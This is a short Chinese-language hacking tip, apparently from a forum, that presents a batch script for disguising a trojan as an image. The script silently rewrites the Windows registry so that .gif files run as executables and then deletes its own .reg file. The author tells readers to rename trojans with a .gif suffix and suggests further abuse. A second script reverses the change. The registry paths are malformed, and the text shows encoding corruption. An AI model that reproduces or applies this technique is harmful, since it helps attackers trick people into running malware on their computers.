任意文件被當(dāng)做木馬來運(yùn)行的辦法
更改exe為gif:
@echo off
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINESOFTWAREClasses.gif]>>gif.reg
ECHO "Content Type"="application/x-msdownload">>gif.reg
ECHO @="exefile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul
這個(gè)代碼保存成.BAT的文件。
先運(yùn)行這個(gè)BAT文件系統(tǒng)會把.GIF文件來當(dāng)做應(yīng)用程序來運(yùn)行!
當(dāng)然我們的木馬后綴要換成.GIF 的,嘻嘻。
恢復(fù)gif默認(rèn):
@echo off
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINESOFTWAREClasses.gif]>>gif.reg
ECHO "Content Type"="image/gif">>gif.reg
ECHO @="giffile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul
這個(gè)代碼保存成.BAT的文件!
大家可以發(fā)揮想象,有很多可以利用的地方。 |